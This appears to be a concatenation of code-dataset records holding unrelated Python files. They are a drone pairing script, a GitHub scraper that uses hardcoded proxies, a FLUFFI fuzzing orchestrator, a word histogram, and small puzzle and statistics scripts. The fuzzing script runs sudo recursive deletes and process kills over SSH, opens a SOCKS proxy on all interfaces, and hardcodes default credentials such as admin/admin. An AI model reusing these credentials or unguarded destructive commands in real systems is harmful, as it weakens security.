00 00 00 00 00 00 00\n # type=0x0000 code=0x0000 value=0x00000000\n try:\n s, t, c, v = struct.unpack(\"@QHHi\", event)\n if t == 0x0001 and c == 0x0211 and v == 1:\n pushed = True\n # keep reading events to flush out others\n except:\n logger.error(\"error unpacking input event: %s\",\n str([hex(ord(x)) for x in event]))\n ### end while True\n ### end if not button_error\n return pushed\n\n\n# Returns:\n# First network name if there is at least one\n# None if there are no networks\ndef wpa_supplicant_network_get():\n \"\"\"get network from wpa_supplicant.conf\n\n Retrieve and return ssid from network={} section in wpa_supplicant.conf.\n The first network found is returned.\n \"\"\"\n\n try:\n d = wpa_supplicant.read(wpa_supplicant_conf)\n except:\n logger.error(\"can't open %s for reading\", wpa_supplicant_conf)\n return None\n\n if \"network\" in d:\n for net in d[\"network\"]:\n # net is a dictionary of net parameters\n if \"ssid\" in net:\n name = net[\"ssid\"][0]\n # strip leading and trailing quotes\n if name[0] == \"\\\"\" and name[-1] == \"\\\"\":\n name = name[1:-1]\n return name\n\n # no network in wpa_supplicant.conf\n return None\n\n\n# Returns:\n# True - Solo is paired\n# False - Solo is not paired\ndef is_paired():\n # Solo is \"paired\" if there is a network in wpa_supplicant.conf\n ssid = wpa_supplicant_network_get()\n return (ssid is not None)\n\n\n# Returns True or False\ndef pin_pair():\n logger.info(\"pin pair...\")\n wpa.pin_pair(secret_pin)\n state = None\n last_state = None\n start_us = clock.gettime_us(clock.CLOCK_MONOTONIC)\n while True:\n time.sleep(0.1)\n stat = wpa.get_status()\n now_us = clock.gettime_us(clock.CLOCK_MONOTONIC)\n if \"wpa_state\" in stat:\n state = stat[\"wpa_state\"]\n else:\n state = None\n if state != last_state:\n if \"ssid\" in stat:\n ssid = stat[\"ssid\"]\n else:\n ssid = \"\"\n if \"bssid\" in stat:\n bssid = stat[\"bssid\"]\n else:\n bssid = \"\"\n logger.debug(\"%0.3f %s %s %s\", (now_us - start_us) / 1000000.0,\n state, ssid, bssid)\n last_state = state\n if state == \"COMPLETED\":\n break\n if state == \"INACTIVE\":\n break\n # end while\n if state == \"COMPLETED\":\n wpa.set(\"update_config\", \"1\")\n wpa.save()\n wpa.set(\"update_config\", \"0\")\n os.system(\"md5sum %s > %s.md5\" % \\\n (wpa_supplicant_conf, wpa_supplicant_conf))\n os.system(\"sync\")\n logger.info(\"pin pair successful\")\n else:\n logger.info(\"pin pair failed\")\n return (state == \"COMPLETED\")\n\n\n# Returns:\n# True associated\n# False not associated, timeout\ndef associate(timeout):\n logger.debug(\"associate\")\n wpa.reconfigure()\n return wpa.network_connect(timeout)\n\n\ndef disassociate():\n logger.debug(\"disassociate\")\n wpa.network_disconnect()\n\n\n# Returns:\n# True got IP\n# False error getting IP\ndef get_ip():\n logger.debug(\"get_ip\")\n udhcpc.start(ifname, hostname=\"solo\")\n ip_mask = ifconfig.ip_mask(ifname)\n if ip_mask is None:\n logger.info(\"pairing failed: error getting IP address\")\n udhcpc.stop()\n return False\n elif ip_mask[0] != solo_ip:\n # This happens if this Solo and another Solo both know the wifi\n # password, and:\n # 1. The controller is paired to and already connected to the other\n # Solo. This Solo will not get the correct IP unless the controller\n # restarts.\n # 2. The controller is paired to this Solo, but the other Solo got on\n # the wifi network first and got the Solo IP. In that case, the\n # other Solo will get booted off, and this Solo will get the\n # correct IP when it retries.\n logger.info(\"pairing failed: not at the fixed solo IP address\")\n udhcpc.stop()\n return False\n else:\n logger.info(\"ip address %s netmask %s\", ip_mask[0], ip_mask[1])\n return True\n\n\ndef release_ip():\n logger.debug(\"release_ip\")\n udhcpc.stop()\n\n\n# Check network link status. If it is good (associated, have Solo IP address),\n# return True. Otherwise, make sure everything is down (disassociated, udhcpc\n# stopped, no IP) and return False.\n#\n# Returns:\n# True associated, udhcpc running, at solo IP\n# False not associated, udhcpc not running, no IP\ndef check_link():\n stat = wpa.get_status()\n if (\"wpa_state\" in stat) and (stat[\"wpa_state\"] == \"COMPLETED\"):\n # wifi is associated\n ip_mask = ifconfig.ip_mask(ifname)\n if ip_mask and (ip_mask[0] == solo_ip):\n return True\n # something is not right; tear everything down\n network_down()\n return False\n\n\n# Returns:\n# True network is up\n# False button was pushed (network is not up)\ndef network_up():\n logger.info(\"bringing up network...\")\n if check_link():\n logger.info(\"network already up\")\n return True\n # check_link either confirms the network is up, or makes sure it is\n # completely down\n while True:\n if associate(wifi_connect_timeout):\n if get_ip():\n logger.info(\"network is up\")\n return True\n disassociate()\n # don't do network_remove_all here\n if wait_button(2):\n logger.info(\"network is down (button detected)\")\n return False\n\n\ndef network_down():\n release_ip()\n disassociate()\n wpa.network_remove_all()\n\n\n# connected to controller, advance runlevel\ndef go_ready():\n global runlevel_ready\n if not runlevel_ready:\n logger.info(\"switching to runlevel.READY\")\n runlevel.set(runlevel.READY)\n runlevel_ready = True\n\n\ndef set_controller_versions(pkt):\n global controller_sololink_version\n global controller_firmware_version\n sololink = pkt[4:36].strip('\\r\\n\\t\\0 ')\n firmware = pkt[36:68].strip('\\r\\n\\t\\0 ')\n if controller_sololink_version == sololink and \\\n controller_firmware_version == firmware:\n return;\n controller_sololink_version = sololink\n controller_firmware_version = firmware\n try:\n f = open(controller_sololink_version_file, 'w')\n f.write(\"%s\\n\" % (controller_sololink_version, ))\n f.close()\n except:\n logger.error(\"error writing controller sololink version to %s\",\n controller_sololink_version_file)\n try:\n f = open(controller_firmware_version_file, 'w')\n f.write(\"%s\\n\" % (controller_firmware_version, ))\n f.close()\n except:\n logger.error(\"error writing controller firmware version to %s\",\n controller_firmware_version_file)\n logger.info(\"controller version \\\"%s\\\"; firmware \\\"%s\\\"\",\n controller_sololink_version, controller_firmware_version)\n\n\n# Returns\n# Only if button pushed before any response from controller\ndef run_connected():\n global version_mismatch_log_time_us\n ack_received = None\n logger.info(\"establishing connection...\")\n controller_adrs = (controller_ip, controller_link_port)\n confirmed = False\n pending = False\n pair_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n pair_sock.bind((\"\", 0)) # any port\n pair_sock.settimeout(connect_ack_timeout)\n send_error_logged = False\n recv_error_logged = False\n while True:\n need_sleep = False\n\n if rc_lock.locked():\n locked = 1\n else:\n locked = 0\n logger.debug(\"locked=%d\", locked)\n\n conn_req = struct.pack(\"<BBBB32s32s\",\n pair.CMD_CONN_REQ, pair.SYS_SOLO, 0, locked,\n solo_sololink_version, solo_firmware_version)\n\n try:\n pair_sock.sendto(conn_req, controller_adrs)\n except Exception as e:\n if not send_error_logged:\n logger.info(\"error returned from sendto (%s)\" % (e))\n send_error_logged = True\n need_sleep = True\n pkt = None\n else:\n # sendto success; reset so we log the next error\n send_error_logged = False\n\n # If we got an error on send, we'll likely get an error from this\n # recvfrom, leading to the correct processing (same as if we skipped\n # this recvfrom).\n try:\n pkt, adrs = pair_sock.recvfrom(256)\n except socket.timeout:\n need_sleep = False\n pkt = None\n except Exception as e:\n if not recv_error_logged:\n logger.info(\"error returned from recvfrom (%s)\" % (e))\n recv_error_logged = True\n need_sleep = True\n pkt = None\n else:\n # recvfrom success; reset so we log the next error\n recv_error_logged = False\n\n now_us = clock.gettime_us(clock.CLOCK_MONOTONIC)\n\n if pkt is None:\n if ack_received is not None and ack_received:\n # first non-reply after ack received\n logger.info(\"timeout waiting for ack\")\n ack_received = False\n if not confirmed and wait_button(0):\n logger.info(\"pairing button detected\")\n network_down()\n return\n if need_sleep:\n # Could be here because of timeout waiting for packet, or\n # socket error (e.g. out of range). If not a timeout, sleep\n # a bit so as not to soak the CPU sending requests.\n time.sleep(connect_request_interval)\n # back to top to send next request\n continue\n\n # got a reply\n if len(pkt) == pair.CONN_MSG_LEN and \\\n ord(pkt[0]) == pair.CMD_CONN_ACK and \\\n ord(pkt[1]) == pair.SYS_CONTROLLER:\n if ord(pkt[2]) == pair.YES:\n set_controller_versions(pkt)\n if not confirmed:\n confirmed = True\n elif ack_received is not None and not ack_received:\n # previous one timed out\n logger.info(\"ack received after timeout\")\n ack_received = True\n # Do this even if connection was already confirmed. It is\n # possible that the other side started out on the wrong\n # version, the connection was confirmed, the other side was\n # updated, and now the versions match so we should unlock.\n if (not check_versions) or (solo_sololink_version == controller_sololink_version):\n rc_lock.unlock_version()\n else:\n rc_lock.lock_version()\n # logging is rate-limited here\n if now_us > version_mismatch_log_time_us:\n logger.info(\"version mismatch: solo=\\\"%s\\\", controller=\\\"%s\\\"\",\n solo_sololink_version, controller_sololink_version)\n version_mismatch_log_time_us = now_us + version_mismatch_log_interval_us\n # Change runlevel even if locked or versions incompatible.\n # Apps look better if there is telemetry flowing and shotmgr\n # is running\n go_ready()\n elif ord(pkt[2]) == pair.PEND:\n if not pending:\n logger.info(\"connection pending\")\n pending = True\n else: # pair.NO\n if not confirmed:\n # Controller says no. This Solo knows the wifi password\n # from a previous pairing, but the controller has since\n # been re-paired to a different Solo.\n logger.info(\"connection rejected\")\n network_down()\n return\n else:\n # Controller said yes to a previous connect request, but\n # is now saying no. We are already in runlevel 4;\n # something is really messed up. Ignore the nack.\n logger.error(\"connection was up, now rejected\")\n else:\n # mystery packet!\n logger.error(\"mystery response received: %s\",\n str([ord(c) for c in pkt]))\n time.sleep(connect_request_interval)\n\n\n# Wait for pairing button\n#\n# Timeout = None means wait forever, else timeout in seconds\n#\n# Returns:\n# True button pushed within timeout\n# False timeout\ndef wait_button(timeout=None):\n if timeout is None:\n end_us = None\n else:\n end_us = clock.gettime_us(clock.CLOCK_MONOTONIC) + \\\n int(timeout * 1000000)\n while True:\n if pair_button():\n return True\n if end_us is not None and \\\n clock.gettime_us(clock.CLOCK_MONOTONIC) >= end_us:\n return False\n time.sleep(0.1)\n\n\ndef pair_solo():\n logger.info(\"pairing using %s\", ifname)\n # XXX update_config=0 should be default in wpa_supplicant.conf\n wpa.set(\"update_config\", \"0\")\n while True:\n if is_paired():\n if network_up():\n run_connected()\n else:\n network_down()\n logger.info(\"waiting for pairing button\")\n wait_button()\n pin_pair()\n\n\nif __name__ == \"__main__\":\n\n logging.config.fileConfig(sololink_conf)\n logger = logging.getLogger(\"pair\")\n\n logger.info(\"pair_solo.py starting\")\n\n config = ConfigParser.SafeConfigParser()\n\n # if the config file is not found, an empty list is returned and the \"get\"\n # operations below fail\n config.read(sololink_conf)\n\n # read configuration items\n try:\n controller_link_port = config.getint(\"pairing\", \"controller_link_port\")\n wifi_connect_timeout = \\\n config.getfloat(\"pairing\", \"wifi_connect_timeout\")\n connect_request_interval = \\\n config.getfloat(\"pairing\", \"connect_request_interval\")\n connect_ack_timeout = config.getfloat(\"pairing\", \"connect_ack_timeout\")\n button_filename = config.get(\"pairing\", \"button_filename\")\n solo_ip = config.get(\"solo\", \"soloIp\")\n controller_ip = config.get(\"solo\", \"artooIp\")\n except:\n logger.error(\"error reading config from %s\", sololink_conf)\n sys.exit(1)\n\n try:\n check_versions = sololink_config.getboolean(\"solo\", \"pairCheckVersions\")\n except:\n check_versions = True # default\n logger.info(\"using default check_versions=%s\", str(check_versions))\n\n # read sololink version\n try:\n f = open(sololink_version_file, 'r')\n solo_sololink_version = f.readline() # still has \\n\n solo_sololink_version = solo_sololink_version.strip('\\r\\n\\t\\0 ')\n except:\n logger.error(\"error reading version from %s\", sololink_version_file)\n sys.exit(1)\n\n logger.info(\"sololink version \\\"%s\\\"\", solo_sololink_version)\n\n # read firmware version\n try:\n f = open(firmware_version_file, 'r')\n solo_firmware_version = f.readline() # still has \\n\n solo_firmware_version = solo_firmware_version.strip('\\r\\n\\t\\0 ')\n except:\n logger.error(\"error reading version from %s\", firmware_version_file)\n solo_firmware_version = \"unknown\"\n\n logger.info(\"firmware version \\\"%s\\\"\", solo_firmware_version)\n\n # If /etc/.rc_lock exists, delete it (SOLO-709)\n if os.path.isfile(\"/etc/.rc_lock\"):\n logger.info(\"deleting /etc/.rc_lock\")\n os.unlink(\"/etc/.rc_lock\")\n\n pair_solo()\n # pair_solo never returns\n","repo_name":"OpenSolo/OpenSolo","sub_path":"sololink/pair/pair_solo.py","file_name":"pair_solo.py","file_ext":"py","file_size_in_byte":19426,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"47"} +{"seq_id":"40458359813","text":"import requests\r\nimport json\r\nimport math\r\nfrom bs4 import BeautifulSoup\r\nfrom fake_useragent import UserAgent\r\n\r\n#代理服务器\r\n\r\nproxyHost = \"114.99.134.178\"\r\nproxyPort = \"3617\"\r\n\"http://114.99.134.178:3617\"\r\nproxyMeta = \"http://%(host)s:%(port)s\" % {\r\n \"host\" : proxyHost,\r\n \"port\" : proxyPort,\r\n}\r\n\r\nproxies = {\r\n \"http\" : \"101.32.251.31:10488\",\r\n # \"https\" : \"http://47.242.190.60:13294\"\r\n}\r\n\r\nweb_url = \"https://github.com\"\r\nclass Spider:\r\n # 使用\r\n headers = {'User-Agent':str(UserAgent().random)}\r\n # 获取搜索参数\r\n def __init__(self,key,language,limit):\r\n self.key = key\r\n self.limit = int(limit)\r\n self.language = language\r\n print(\"this is github's Spider:{},{}\".format(key,limit))\r\n \r\n # 爬取网页链接\r\n def crawl_link(self):\r\n \r\n # 存储爬取到的名字和下载链接和星数\r\n self.list = []\r\n # 计算爬取页数\r\n page_nums = math.ceil(self.limit/10.0)\r\n print(page_nums)\r\n #\r\n page_num = 2\r\n # for page_num in range(1,page_nums):\r\n # 请求参数\r\n params = {\r\n 'p': page_num,\r\n 'l': self.language,\r\n 'q': self.key,\r\n 'type': 'Repositories'\r\n }\r\n # 请求网址\r\n url = web_url + '/search'\r\n # res = requests.get(url,params=params,headers=self.headers,proxies=proxies,timeout=6)\r\n res = requests.get(url,params=params,headers=self.headers,timeout=6)\r\n print(res.status_code)\r\n soup = BeautifulSoup(res.text,'html.parser')\r\n items = soup.find_all('li',class_='repo-list-item')\r\n for item in items:\r\n info = item.find('a',class_='v-align-middle')\r\n # 获取资源描述信息\r\n name = item.find('p',class_='mb-1').text\r\n # 获取链接\r\n link = \"https://github.com\" + info['href']\r\n # 获取星标数\r\n stars = int(item.find('div',class_='mr-3').find('a',class_='Link--muted').text.strip())\r\n print(link+\" \"+str(stars))\r\n one = {\r\n \"name\" : name,\r\n \"url\" : link,\r\n \"stars\" : stars\r\n }\r\n self.list.append(one)\r\n\r\n def crawl_download_url(self):\r\n for index,item in enumerate(self.list):\r\n url = item[\"url\"]\r\n # res = requests.get(url,headers=self.headers,proxies=proxies)\r\n res = requests.get(url,headers=self.headers)\r\n print(res.status_code)\r\n soup = BeautifulSoup(res.text,'html.parser')\r\n print(soup.text)\r\n a = soup.find_all('a',class_='d-flex flex-items-center color-fg-default text-bold no-underline')\r\n print(len(a))\r\n for x in a:\r\n print(x.text)\r\n downloadUrl = web_url + a[1]['href']\r\n self.list[index]['downloadUrl'] = downloadUrl\r\n return self.list\r\n\r\n def crawl(self):\r\n self.crawl_link()\r\n return self.crawl_download_url()\r\n\r\n\r\n\r\n \r\n \r\n\r\n","repo_name":"JMThresh/plantuml_crawl","sub_path":"plantuml_crawler/websites/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13746939428","text":"import logging\nimport os\nimport subprocess\nimport time\n\nimport util\nfrom fuzzjob import Fuzzjob\n\n# Constants\nFLUFFI_PATH_FMT = os.path.expanduser(\"~/fluffi{}/\")\nLOCATION_FMT = \"1021-{}\"\nSSH_HOST_FMT = \"host{}\"\nSSH_MASTER_FMT = \"master{}\"\nSSH_WORKER_FMT = \"worker{}\"\nWORKER_NAME_FMT = \"fluffi-1021-{}-Linux1\"\nARCH = \"x64\"\nDEPLOY_ZIP_NAME = \"fluffi.zip\"\nFLUFFI_DIR = \"/home/fluffi_linux_user/fluffi/ramdisk/\"\nFLUFFI_ARCH_DIR = os.path.join(FLUFFI_DIR, ARCH)\nSUT_PATH = os.path.join(FLUFFI_DIR, \"SUT/\")\nFLUFFI_URL = \"http://web.fluffi:8880\"\nPM_URL = \"http://pole.fluffi:8888/api/v2\"\nDB_NAME = \"fluffi_gm\"\nLM = 1\n\n# Get logger\nlog = logging.getLogger(\"fluffi\")\n\n\nclass Instance:\n def __init__(self, n):\n # Set members\n self.n = n\n self.fluffi_path = FLUFFI_PATH_FMT.format(self.n)\n self.location = LOCATION_FMT.format(self.n)\n self.worker_name = WORKER_NAME_FMT.format(self.n)\n self.master_addr = util.get_ssh_addr(SSH_MASTER_FMT.format(self.n))\n\n # Connect to SSH and DB\n self.ssh_host = util.FaultTolerantSSHAndSFTPClient(SSH_HOST_FMT.format(self.n))\n self.ssh_master = util.FaultTolerantSSHAndSFTPClient(\n SSH_MASTER_FMT.format(self.n)\n )\n self.ssh_worker = util.FaultTolerantSSHAndSFTPClient(\n SSH_WORKER_FMT.format(self.n)\n )\n self.db = util.FaultTolerantDBClient(\n host=self.master_addr, user=DB_NAME, password=DB_NAME\n )\n\n # Check the proxy and initialize the session\n self.check_proxy()\n self.s = util.FaultTolerantSession(self)\n self.s.get(FLUFFI_URL)\n\n # --- High Level Functionality ---\n\n def deploy(self, clean=True):\n log.debug(\"Deploying...\")\n\n # Clean old build\n if clean:\n log.debug(\"Cleaning old build...\")\n subprocess.run(\n [\"rm\", \"-rf\", os.path.join(self.fluffi_path, \"core/x86-64/\")],\n check=True,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n log.debug(\"Old build cleaned\")\n\n # Compile new build\n log.debug(\"Compiling new build...\")\n subprocess.run(\n [\"./make_dep.sh\"],\n cwd=os.path.join(self.fluffi_path, \"core/dependencies/easylogging/\"),\n check=True,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n subprocess.run(\n [\"sudo\", \"./buildAll.sh\"],\n cwd=os.path.join(self.fluffi_path, \"build/ubuntu_based/\"),\n check=True,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n log.debug(\"New build compiled\")\n\n # Zip, SCP, and unzip\n log.debug(\"Transferring new build...\")\n subprocess.run(\n [\"zip\", \"-r\", DEPLOY_ZIP_NAME, \".\"],\n cwd=os.path.join(self.fluffi_path, \"core/x86-64/bin/\"),\n check=True,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n self.ssh_worker.put(\n os.path.join(self.fluffi_path, \"core/x86-64/bin/\", DEPLOY_ZIP_NAME),\n os.path.join(FLUFFI_ARCH_DIR, DEPLOY_ZIP_NAME),\n )\n self.ssh_worker.exec_command(\n f\"cd {FLUFFI_ARCH_DIR} && unzip -o {DEPLOY_ZIP_NAME}\", check=True\n )\n log.debug(\"New build transferred\")\n\n log.debug(\"Deployed\")\n\n def up(\n self,\n name_prefix,\n target_path,\n module,\n seeds,\n library_path=None,\n linker_path=None,\n ):\n log.debug(f\"Starting fuzzjob with prefix {name_prefix}...\")\n self.set_kernel_vals()\n fuzzjob = self.new_fuzzjob(\n name_prefix, target_path, module, seeds, library_path, linker_path\n )\n self.set_lm(LM)\n fuzzjob.set_gre()\n log.debug(f\"Started fuzzjob named {fuzzjob.name}\")\n return fuzzjob\n\n def down(self):\n log.debug(\"Stopping...\")\n fuzzjobs = self.get_fuzzjobs()\n for fuzzjob in fuzzjobs:\n fuzzjob.set_gre(True)\n self.set_lm(0)\n self.kill_leftover_agents()\n for fuzzjob in fuzzjobs:\n fuzzjob.archive()\n self.clear_dirs()\n log.debug(\"Stopped\")\n\n def do_all(self, name_prefix, target_path, module, seeds, library_path=None):\n self.down()\n self.deploy()\n self.up(name_prefix, target_path, module, seeds, library_path)\n\n # --- SSH ---\n\n def check_proxy(self):\n # Kill proxy if it's already there\n log.debug(\"Killing proxy...\")\n self.ssh_master.exec_command(f\"sudo fuser -k {util.PROXY_PORT}/tcp\")\n log.debug(\"Killed proxy\")\n\n # Start proxy server\n log.debug(\"Starting proxy...\")\n self.ssh_master.exec_command(\n f\"ssh localhost -D 0.0.0.0:{util.PROXY_PORT} -N -f\", check=True\n )\n time.sleep(1)\n log.info(\"Started proxy\")\n\n def kill_leftover_agents(self):\n log.debug(\"Killing leftover agents...\")\n self.ssh_worker.exec_command(f\"pkill -f '{FLUFFI_ARCH_DIR}'\")\n log.debug(\"Killed leftover agents\")\n\n def clear_dirs(self):\n log.debug(\"Deleting log/testcase directories...\")\n self.ssh_worker.exec_command(\n f\"sudo rm -rf /var/log/*.gz {os.path.join(FLUFFI_ARCH_DIR, 'logs/')} \"\n f\"{os.path.join(FLUFFI_ARCH_DIR, 'testcaseFiles/')}\"\n )\n log.debug(\"Log/testcase directories deleted\")\n\n def set_kernel_vals(self):\n log.debug(\"Setting kernel values...\")\n self.ssh_host.exec_command(\"sudo /home/maverick/bin/afl-setup.sh\", check=True)\n log.debug(\"Kernel values set\")\n\n def get_load(self):\n _, stdout, _ = self.ssh_worker.exec_command(\n \"awk '{ print $1 }' /proc/loadavg\", check=True\n )\n return float(stdout.read().decode().strip())\n\n # --- Fluffi Web ---\n\n def new_fuzzjob(\n self,\n name_prefix,\n target_path,\n module,\n seeds,\n library_path=None,\n linker_path=None,\n ):\n name = f\"{name_prefix}{int(time.time())}\"\n log.debug(f\"Creating new fuzzjob named {name}...\")\n\n # Set command line\n cmd = os.path.join(SUT_PATH, target_path)\n if library_path is not None and linker_path is not None:\n cmd = (\n f\"{os.path.join(SUT_PATH, linker_path)} --library-path \"\n f\"{os.path.join(SUT_PATH, library_path)} {cmd}\"\n )\n\n # Create fuzzjob with seeds\n data = [\n (\"name\", (None, name)),\n (\"subtype\", (None, \"X64_Lin_DynRioSingle\")),\n (\"generatorTypes\", (None, 0)), # RadamsaMutator\n (\"generatorTypes\", (None, 100)), # AFLMutator\n (\"generatorTypes\", (None, 0)), # CaRRoTMutator\n (\"generatorTypes\", (None, 0)), # HonggfuzzMutator\n (\"generatorTypes\", (None, 0)), # OedipusMutator\n (\"generatorTypes\", (None, 0)), # ExternalMutator\n (\"evaluatorTypes\", (None, 100)), # CoverageEvaluator\n (\"location\", (None, self.location)),\n (\"targetCMDLine\", (None, cmd)),\n (\"option_module\", (None, \"hangTimeout\")),\n (\"option_module_value\", (None, 5000)),\n (\"targetModulesOnCreate\", module),\n (\"targetFile\", (None, \"\")),\n (\"basicBlockFile\", (None, \"\")),\n ]\n for seed in seeds:\n data.append((\"filename\", seed))\n\n # Attempt to create\n sleep_time = util.SLEEP_TIME\n while True:\n r = self.s.post(\n f\"{FLUFFI_URL}/projects/createProject\",\n files=data,\n expect_str=\"Success!\",\n no_retry=True,\n )\n time.sleep(1)\n fuzzjobs = self.get_fuzzjobs()\n fuzzjob = next(\n (fuzzjob for fuzzjob in fuzzjobs if fuzzjob.name == name), None\n )\n if fuzzjob is not None:\n break\n log.warn(f\"Fuzzjob {name} wasn't created\")\n time.sleep(util.SLEEP_TIME)\n sleep_time = util.get_sleep_time(sleep_time)\n\n # If timeout, wait until all testcases added\n if not r.ok:\n while fuzzjob.get_num_testcases() < len(seeds):\n time.sleep(5)\n\n log.debug(f\"Fuzzjob named {name} created with ID {fuzzjob.key}\")\n return fuzzjob\n\n def set_lm(self, num):\n log.debug(f\"Setting LM to {num}...\")\n self.s.post(\n f\"{FLUFFI_URL}/systems/configureSystemInstances/{self.worker_name}\",\n files={\n \"localManager_lm\": (None, num),\n \"localManager_lm_arch\": (None, ARCH),\n },\n expect_str=\"Success!\",\n )\n self.manage_agents()\n log.debug(f\"LM set to {num}\")\n\n # --- Polemarch ---\n\n def manage_agents(self):\n log.debug(\"Starting manage agents task...\")\n s = util.FaultTolerantSession(self)\n s.auth = (\"admin\", \"admin\")\n r = s.post(\n f\"{PM_URL}/project/1/periodic_task/3/execute/\",\n expect_str=\"Started at inventory\",\n )\n history_id = r.json()[\"history_id\"]\n time.sleep(2)\n while True:\n r = s.get(f\"{PM_URL}/project/1/history/{history_id}\")\n if r.json()[\"status\"] == \"OK\":\n break\n time.sleep(util.SLEEP_TIME)\n log.debug(\"Manage agents success\")\n\n # --- DB ---\n\n def get_fuzzjobs(self):\n log.debug(\"Fetching fuzzjobs...\")\n rows = self.db.query_all(\"SELECT ID, name FROM fuzzjob\", DB_NAME)\n fuzzjobs = []\n for key, name in rows:\n log.debug(f\"Found fuzzjob with ID {key} and name {name}\")\n fuzzjobs.append(Fuzzjob(self, key, name))\n log.debug(\"Fuzzjobs fetched\")\n return fuzzjobs\n","repo_name":"sears-s/fluffi-tools","sub_path":"fluffi.py","file_name":"fluffi.py","file_ext":"py","file_size_in_byte":9895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32030786101","text":"from __future__ import division, print_function # Python 2 and 3 compatibility\n\n\nclass Listogram(list):\n\n def __init__(self, word_list=None):\n super(Listogram, self).__init__() # Initialize this as a new list\n # Add properties to track useful word counts for this histogram\n self.types = 0 # Count of distinct word types in this histogram\n self.tokens = 0 # Total count of all word tokens in this histogram\n # Count words in given list, if any\n if word_list is not None:\n for word in word_list:\n self.add_count(word)\n\n def add_count(self, word, count=1):\n # lets just shorten this to key_word\n key_word = str(word)\n i = self._index(key_word)\n # if there is no index for the word in the object\n # i.e. if the word does not exist in the object\n if i is not None:\n # if the key word is defined at index i of object\n value_of_key = self[i][1]\n # reset object with added count\n self[i] = (key_word, value_of_key + count)\n # print key_word\n else:\n # add the key word with a value pair of 1\n self.append((key_word, count))\n # increment the number of unique words in the object\n self.types += 1\n self.tokens += count\n\n def frequency(self, word):\n \"\"\"Return frequency count of given word, or 0 if word is not found.\"\"\"\n i = self._index(word)\n\n if i is None:\n return 0\n else:\n return self[i][1]\n\n def __contains__(self, word):\n \"\"\"Return boolean indicating if given word is in this histogram.\"\"\"\n key_word = str(word)\n\n if self._index(key_word) is not None:\n return True\n else:\n False\n\n def _index(self, target):\n \"\"\"Return the index of entry containing given target word if found in\n this histogram, or None if target word is not found.\"\"\"\n\n # target = word to find\n\n index_of_word = None\n for index, tup in enumerate(self):\n if tup[0] == target:\n index_of_word = index\n # else\n return index_of_word\n\ndef print_histogram(word_list):\n print('word list: {}'.format(word_list))\n # Create a listogram and display its contents\n histogram = Listogram(word_list)\n print('listogram: {}'.format(histogram))\n print('{} tokens, {} types'.format(histogram.tokens, histogram.types))\n for word in word_list[-2:]:\n freq = histogram.frequency(word)\n print('{!r} occurs {} times'.format(word, freq))\n print()\n\n\ndef main():\n import sys\n arguments = sys.argv[1:] # Exclude script name in first argument\n if len(arguments) >= 1:\n # Test histogram on given arguments\n print_histogram(arguments)\n else:\n # Test histogram on letters in a word\n word = 'abracadabra'\n print_histogram(list(word))\n # Test histogram on words in a classic book title\n fish_text = 'one fish two fish red fish blue fish'\n print_histogram(fish_text.split())\n # Test histogram on words in a long repetitive sentence\n woodchuck_text = ('how much wood would a wood chuck chuck'\n ' if a wood chuck could chuck wood')\n print_histogram(woodchuck_text.split())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mrnelley/tweetsByTupac","sub_path":"listogram.py","file_name":"listogram.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22854601550","text":"\n\nlines = []\nvalid_count = 0\nvalid_count_2 = 0\nwhile True:\n\tl = input().rstrip()\n\tif l:\n\t\trule, pwd = l.split(\":\")\n\t\tminmax, char = rule.split(\" \")\n\t\tcharmin, charmax = map(int, minmax.split(\"-\"))\n\t\tpwd = pwd.strip()\n\t\tif charmin <= pwd.count(char) <= charmax:\n\t\t\tvalid_count += 1\n\n\t\tfirst_pos_is_char = pwd[charmin + -1] == char\n\t\tsecond_pos_is_char = pwd[charmax + -1] == char\n\t\t# print(pwd[charmin + -1], pwd[charmax + -1])\n\t\tif first_pos_is_char ^ second_pos_is_char:\n\t\t\tvalid_count_2 += 1\n\t\tlines.append(l)\n\telse:\n\t\tbreak\nprint(valid_count)\nprint(valid_count_2)\n","repo_name":"kamyar/advent-of-code","sub_path":"2020/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40682116557","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\n \nimport csv\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nimport openpyxl\n\n\nmerge1 = sys.argv[1]\n\ndf = pd.DataFrame(pd.read_csv(merge1,sep=\"\\t\",low_memory = False,header=None))\nprint (df)\nnor=df.shape[0]\ndict1 = {}\nlist_family=[]\nlist_samples=[]\nfor i in range(0, nor):\n #a_key= str(df.loc[i, 'Lab_sample_id'])\n if df.loc[i, 0] not in dict1.keys():\n dict1[df.loc[i, 0]] = str(df.loc[i, 2])\n elif df.loc[i, 0] in dict1.keys():\n dict1[df.loc[i, 0]] = dict1[df.loc[i, 0]]+\",\"+str(df.loc[i, 2])\n\n#print(dict1)\ndict2={}\ndict3={}\nfor key,value in dict1.items():\n value1=value.split(',')\n a=len(value1)\n p1=value1.count(\"0\")\n p2=a - p1\n cover=p2/a\n value1 = list(map(int,value1))\n average_a = np.mean(value1)\n median_a = np.median(value1)\n dict2[key] = str(a)+\",\"+str(average_a) + \",\"+str(median_a)\n\nprint(dict2)","repo_name":"TLyan-ze/metavirus","sub_path":"mark_depth.py","file_name":"mark_depth.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70821605903","text":"#Got Little Help here\n\ndef scramble(s1, s2):\n # If the str1 can rearrange to match with str2 ---> True\n # If the str1 can not ----> False\n # Only lower case will be used \n # It has to have good performance\n \n char_counts = [0] * 26 # Initialize an array to store character counts according to the english alphabets\n \n # To count the occurrences of each character in 